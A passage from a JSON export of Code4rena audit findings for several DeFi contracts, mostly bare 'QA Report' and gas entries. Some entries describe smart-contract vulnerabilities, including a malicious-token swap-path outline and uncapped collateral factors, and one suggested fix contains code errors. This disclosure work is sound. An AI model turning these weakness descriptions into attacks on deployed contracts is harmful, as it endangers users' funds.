"https://github.com/code-423n4/2022-04-backed-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/2", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/42", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "Not calling `approve(0)` before setting a new approval causes the call to revert when used with Tether (USDT)", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/39", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-dualityfocus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/vault_and_oracles/FlashLoan.sol#L48 https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/vault_and_oracles/FlashLoan.sol#L58 https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/vault_and_oracles/UniV3LpVault.sol#L418 # Vulnerability details Some tokens do not implement the ERC20 standard properly but are still accepted by most code that accepts ERC20 tokens. For example Tether (USDT)'s `approve()` function will revert if the current approval is not zero, to protect against front-running changes of approvals. ## Impact The code as currently implemented does not handle these sorts of tokens properly when they're a Uniswap pool asset, which would prevent USDT, the sixth largest pool, from being used by this project. This project relies heavily on Uniswap, so this would hamper future growth and availability of the protocol. ## Proof of Concept 1. File: contracts/vault_and_oracles/FlashLoan.sol (line [48](https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/vault_and_oracles/FlashLoan.sol#L48)) ```solidity IERC20(assets[0]).approve(address(LP_VAULT), amounts[0]); ``` 2. File: contracts/vault_and_oracles/FlashLoan.sol (line [58](https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/vault_and_oracles/FlashLoan.sol#L58)) ```solidity IERC20(assets[0]).approve(address(LENDING_POOL), amountOwing); ``` 3. File: contracts/vault_and_oracles/UniV3LpVault.sol (line [418](https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/vault_and_oracles/UniV3LpVault.sol#L418)) ```solidity IERC20Detailed(params.asset).approve(msg.sender, owedBack); ``` There are other calls to `approve()`, but they correctly set the approval to zero after the transfer is done, so that the next approval can go through. ## Tools Used Code inspection ## Recommended Mitigation Steps Use OpenZeppelin\u2019s `SafeERC20`'s `safeTransfer()` instead "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "Arbitrary contract call within `UniV3LpVault._swap` with controllable `swapPath`", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/31", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-dualityfocus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-dualityfocus/blob/main/contracts/vault_and_oracles/UniV3LpVault.sol#L621 https://github.com/code-423n4/2022-04-dualityfocus/blob/main/contracts/vault_and_oracles/UniV3LpVault.sol#L379 https://github.com/code-423n4/2022-04-dualityfocus/blob/main/contracts/vault_and_oracles/UniV3LpVault.sol#L520 https://github.com/code-423n4/2022-04-dualityfocus/blob/main/contracts/vault_and_oracles/UniV3LpVault.sol#L521 # Vulnerability details ## Impact `UniV3LpVault._swap` utilizes `swapRouter.exactInput` to perform swaps between two tokens. During swaps, `transfer` function of each token along the path will be called to propagate the assets. Since anyone can create a uniswap pair of arbitrary assets, it is possible to include intermediate hop with malicious tokens within the path. Thus `UniV3LpVault._swap` effectively grants users the ability to perform arbitrary contract calls during the swap process if `swapPath` is not validated properly. Usage of invalidated `swapPath` can be found in `UniV3LpVault.flashFocusCall` and `UniV3LpVault.repayDebt`. ## Proof of Concept The security of `Comptroller` and `UniV3LpVault` relies on validating all used tokens thoroughly. This is done by a whitelist mechanism where admin decides a predefined set of usable tokens, and users can only perform actions within the allowed range. This whitelist approach eliminates most of the attack surface regarding directly passing in malicious tokens as arguments. Apart from passing malicious tokens directly, there are a few other potential weaknesses, the most obvious one is leveraging flash loans for collaterals. However, due to the adoption of AAVE LendingPool, the external validation within flash loan pool blocks this approach. Unfortunately, a more obscure path exists. Looking at the swapping mechanism, it is not hard to realize it is backed by uniswapV3. An interesting characteristic of uniswap pools is that anyone can create pools for any token pairs, thus if we don't fully validate each and every pool we are using, chances are there will be malicious entries hidden within them. This is partially the case which we see here, the user gets to supply a path, where the source and target are validated against benign tokens, the intermediate ones are not. An example of utilizing path for arbitrary function call is illustrated below 1. Create malicious token tokenM 2. Create pools tokenS<->tokenM and tokenM<->tokenT where tokenS and tokenT are benign tokens 3. Supply path (tokenS, tokenM, tokenT) for swapping In the above case, when transferring tokenM while doing swap, we have full control over code executed and can insert arbitrary contract calls within. Noticeably, while gaining arbitrary contract calls sounds dangerous, it does not necessarily mean the contract is exploitable. It still depends on the scenario in which an arbitrary call happens. In the case of duality, the two locations where arbitrary `swapPath` can be provided is in `flashFocusCall` and `repayDebt`, both in which holds a local lock over `UniV3LpVault`. No global are applied to `Comptroller` or `Ctokens` while performing swaps. ``` function flashFocusCall(FlashFocusParams calldata params) external override { ... { ... if (!tokenOfPool && params.swapPath.length > 0) amountIn0 = _swap(params.swapPath, params.amount); ... } ... } function flashFocus(FlashFocusParams calldata params) external override nonReentrant(true) isAuthorizedForToken(params.tokenId) avoidsShortfall { ... flashLoan.LENDING_POOL().flashLoan( receiverAddress, assets, amounts, modes, onBehalfOf, newParams, referralCode ); } function repayDebt(RepayDebtParams calldata params) external override nonReentrant(true) isAuthorizedForToken(params.tokenId) avoidsShortfall returns (uint256 amountReturned) { ... { ... if (amountOutFrom0 == 0 && params.swapPath0.length > 0) amountOutFrom0 = _swap(params.swapPath0, amount0); if (amountOutFrom1 == 0 && params.swapPath1.length > 0) amountOutFrom1 = _swap(params.swapPath1, amount1); ... } ... } ``` The lack of global locks here had us doubting whether an attack is possible. While we spent a considerable amount of time and failed to come up with any possible attack vectors, the complexity of the system held us back from concluding that an attack is impossible. Thus we report this finding here in hope of inspiring developers either to prove the attack impossible or mitigate the attack surface. ## Tools Used vim, ganache-cli ## Recommended Mitigation Steps The easiest way to mitigate this is to validate the entire path against a predefined whitelist while in `_checkSwapPath`. This approach is far from optimal and also limits the flexibility of swapping between tokens. However, before security is proved, this is the best approach we can come up with. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "Dysfunctional `CToken._acceptAdmin` due to lack of function to assign `pendingAdmin`", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/29", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-dualityfocus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-dualityfocus/blob/main/contracts/compound_rari_fork/CToken.sol#L1379 # Vulnerability details ## Impact The implementation of `CToken` in Duality introduced an `_acceptAdmin` function, which presumably should allow changing the `admin`. However, there does not exist a pairing `proposePendingAdmin` function that can propose a new `pendingAdmin`, thus `pendingAdmin` will never be set. This renders the `_acceptAdmin` function useless. ## Proof of Concept `_acceptAdmin` requires `msg.sender` to equal `pendingAdmin`, however, since `pendingAdmin` can never be set, it will always be `address(0)`, making this function unusable. ``` function _acceptAdmin() external returns (uint256) { // Check caller is pendingAdmin and pendingAdmin \u2260 address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint256(Error.NO_ERROR); } ``` ## Tools Used vim, ganache-cli ## Recommended Mitigation Steps Add a `proposePendingAdmin` function where the current admin can propose successors. ``` function _proposePendingAdmin(address newPendingAdmin) external { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.PROPOSE_PENDING_ADMIN_CHECK); } address oldPendingAdmin = pendingAdmin; pendingAdmin = newPendingAdmin; emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint256(Error.NO_ERROR) } ``` "}, {"title": "`Comptroller._setUniV3LpVault` will always cause in-use uniswapV3 positions to become stuck in `UniV3LpVault`", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-dualityfocus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-dualityfocus/blob/main/contracts/compound_rari_fork/Comptroller.sol#L1105 # Vulnerability details ## Impact `Comptroller._setUniV3LpVault` allows the admin of `Comptroller` to change the accompanying `UniV3LpVault`. However since actions including collateral calculation, uniswapV3 position withdrawal, uniswapV3 collateral liquidation all require `Comptroller` and `UniV3LpVault` to cooperate seamlessly, a change in `Comptroller.uniV3LpVault` would mean all the above actions are no longer performable on existing NFTs. ## Proof of Concept `_setUniV3LpVault` allows changing of `uniV3LpVault`. ``` function _setUniV3LpVault(IUniV3LpVault newVault) public returns (uint256) { ... uniV3LpVault = newVault; ... } ``` However, functions such as `UniV3LpVault.withdrawToken` require `Comptroller` to estimate NFT collateral value. This estimation can only be done when the address of `UniV3LpVault` matches `Comptroller.uniV3LpVault` as shown in `addNFTCollateral` below. ``` contract UniV3LpVault is IUniV3LpVault { ... function withdrawToken(...) external override nonReentrant(false) avoidsShortfall { ... } modifier avoidsShortfall() { _; (, , uint256 shortfall) = comptroller.getAccountLiquidity(msg.sender); require(shortfall == 0, \"insufficient liquidity\"); } ... } contract Comptroller is ComptrollerV3Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { ... function getAccountLiquidity(address account) public view returns (...) { (Error err, uint256 liquidity, uint256 shortfall) = getHypotheticalAccountLiquidityInternal(...); ... } function getHypotheticalAccountLiquidityInternal(...) internal view returns (...) { ... addNFTCollateral(account, vars); ... } function addNFTCollateral(address account, AccountLiquidityLocalVars memory vars) internal view { uint256 userTokensLength = uniV3LpVault.getUserTokensLength(account); for (uint256 i = 0; i < userTokensLength; i++) { ... { ... address poolAddress = uniV3LpVault.getPoolAddress(tokenId); ... } ... } ... } } ``` The mutual reliance causes NFT tokens to become stuck. In some cases users can solve this issue by depositing more collateral to cover the shortcoming caused by \"disappearing NFTs\". In other cases such as liquidation, the functionality becomes downright broken and unuseable.. ## Tools Used vim, ganache-cli ## Recommended Mitigation Steps Remove the option to change `Comptroller.uniV3LpVault` altogether, as this functionality is not really helpful for the overall protocol. Another way to handle this is to forcefully evict all NFTs before changing the vault. However, this is extremely complex as it would potentially cause users to become severely under-collateralized, and would require more care in tracking and maintaining states. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "Improper Access Control", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/25", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-dualityfocus-findings", "body": "Improper Access Control"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/23", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "Undercollateralized loans possible", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-dualityfocus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/compound_rari_fork/Comptroller.sol#L1491 # Vulnerability details ## Impact The `_setPoolCollateralFactors` function does not check that the collateral factor is < 100%. It's possible that it's set to 200% and then borrows more than the collateral is worth, stealing from the pool. ## Recommended Mitigation Steps Disable the possibility of ever having a collateral factor > 100% by checking: ```diff for (uint256 i = 0; i < pools.length; i++) { + require(collateralFactorsMantissa[i] <= 1e18, \"CF > 100%\"); poolCollateralFactors[pools[i]] = collateralFactorsMantissa[i]; } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-dualityfocus-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-dualityfocus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "Cross-chain smart contract calls can revert but source chain tokens remain burnt and are not refunded", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/35", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "Cross-chain smart contract calls can revert but source chain tokens remain burnt and are not refunded"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/27", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "`_execute` can potentially reorder a batch of commands while executing, breaking any assumptions on command orders.", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "`_execute` can potentially reorder a batch of commands while executing, breaking any assumptions on command orders."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "User's funds can get lost when transferring to other chain", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "User's funds can get lost when transferring to other chain"}, {"title": "Low level call returns true if the address doesn't exist", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-04-axelar-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-axelar/blob/dee2f2d352e8f20f20027977d511b19bfcca23a3/src/AxelarGateway.sol#L545-L548 https://github.com/code-423n4/2022-04-axelar/blob/dee2f2d352e8f20f20027977d511b19bfcca23a3/src/AxelarGatewayProxy.sol#L16-L24 # Vulnerability details ## Impact As written in the [solidity documentation](https://docs.soliditylang.org/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions), the low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed. ## Proof of Concept The low-level functions `call` and `delegatecall` are used in some places in the code and it can be problematic. For example, in the `_callERC20Token` of the `AxelarGateway` contract there is a low level call in order to call the ERC20 functions, but if the given `tokenAddress` doesn't exist `success` will be equal to true and the function will return true and the code execution will be continued like the call was successful. ```sol function _callERC20Token(address tokenAddress, bytes memory callData) internal returns (bool) { (bool success, bytes memory returnData) = tokenAddress.call(callData); return success && (returnData.length == uint256(0) || abi.decode(returnData, (bool))); } ``` Another place that this can happen is in `AxelarGatewayProxy`'s constructor ```sol constructor(address gatewayImplementation, bytes memory params) { _setAddress(KEY_IMPLEMENTATION, gatewayImplementation); (bool success, ) = gatewayImplementation.delegatecall( abi.encodeWithSelector(IAxelarGateway.setup.selector, params) ); if (!success) revert SetupFailed(); } ``` If the `gatewayImplementation` address doesn't exist, the delegate call will return true and the function won't revert. ## Tools Used Remix, VS Code ## Recommended Mitigation Steps Check before any low-level call that the address actually exists, for example before the low level call in the callERC20 function you can check that the address is a contract by checking its code size. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "Unsupported fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/5", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-axelar-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-axelar/blob/main/src/AxelarGateway.sol#L284-L334 # Vulnerability details ## Impact When tokenAddress is fee-on-transfer tokens, in the _burnTokenFrom function, the actual amount of tokens received by the contract will be less than the amount. ## Proof of Concept https://github.com/code-423n4/2022-04-axelar/blob/main/src/AxelarGateway.sol#L284-L334 ## Tools Used None ## Recommended Mitigation Steps Consider getting the received amount by calculating the difference of token balance (using balanceOf) before and after the transferFrom. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-04-axelar-findings", "body": "QA Report"}, {"title": "Anybody can destroy contract and take all the ether", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/3", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-axelar-findings", "body": "Anybody can destroy contract and take all the ether"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-axelar-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-axelar-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/238", "labels": [], "target": "2022-04-badger-citadel-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/232", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/230", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/229", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/226", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/224", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/223", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "StakedCitadel depositors can be attacked by the first depositor with depressing of vault token denomination", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/217", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-04-badger-citadel-findings", "body": "StakedCitadel depositors can be attacked by the first depositor with depressing of vault token denomination"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/206", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/204", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/200", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/196", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/193", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "no sanity checks on minDiscount", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code 